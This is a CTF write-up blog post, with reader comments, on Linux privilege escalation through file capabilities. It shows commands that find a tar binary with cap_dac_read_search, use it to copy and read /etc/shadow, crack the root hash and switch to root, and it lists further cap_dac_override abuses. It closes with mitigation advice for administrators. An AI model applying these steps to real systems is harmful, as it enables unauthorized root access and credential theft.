I recently came across an interesting way of escalating privileges on a GNU/Linux system during a CTF challenge. It involves file/process capabilities.
In Linux, files may be given specific capabilities. For example, if an executable needs to access (read) files that are only readable by root, it is possible to give that file this ‘permission’ without having it run with complete root privileges. This allows for a more secure system in general. For more info about this subject, click here.
getcap and setcap are used to view and set capabilities, respectively. They usually belong to the libcap2-bin package on debian and debian-based distributions.
We would start by scanning the file system for files with capabilities using
getcap -r / The -r flag tells getcap to search recursively, ‘/‘ to indicate that we want to search the whole system.
The output is usually filled with tens or hundreds of “Operation not supported” errors, making it hard to read. We can redirect errors to /dev/null to get a cleaner output.
nxnjz@test-machine:~$ getcap -r / 2>/dev/null
/home/nxnjz/tar = cap_dac_read_search+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
An unusual finding: tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.
/etc/shadow is usually only readable by root:
nxnjz@test-machine:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow
./tar: Removing leading `/’ from member names
nxnjz@test-machine:~$ ./tar -xvf shadow.tar
etc shadow.tar tar
nxnjz@test-machine:~$ cat etc/shadow
After cracking that password hash for root, which turns out to be ‘root1234’, we can login using su:
nxnjz@test-machine:~$ su root
Conclusion & Mitigation
This is simply an example of how capabilities can serve as a privilege escalation vector. Another very useful capability in a scenario like this would be cap_dac_override, which allows full read/write/execute access. This obviously could be used in various ways to escalate privileges, including but not limited to, adding a root user to /etc/passwd or /etc/shadow, modifying cron jobs running by root, adding a public ssh key to /root/authorized_keys, or simply opening a root shell.
Keep in mind that the presence of a potentially exploitable capability does not guarantee privilege escalation. You’re still limited by the functionality of the executable in question.
Besides, capabilities are rarely used in the wild. System administrators rarely set/change capabilities.
System Administrators should make sure that no abusable or exploitable capabilities are assigned on their file system. Capabilities are generally safer than SUID, but they may still pose a risk.
Great write up. I appreciate this. Helped me get through a CTF on HTB. Thanks for the help!!
hey me too, I think you talking about finding W htb.
Good article, you are the man.
hehe, I found this writeup just after rooting W at htb.. would’ve helped xP
Interesting article! Thanks.
very simple and helpful. Thank you!
Great article author..this just helped me understand a new way of PrivEsc in linux..I had read abt this b4 but was always scratching my head to fully understand it..Now I know it all..Thanks to u. 🙂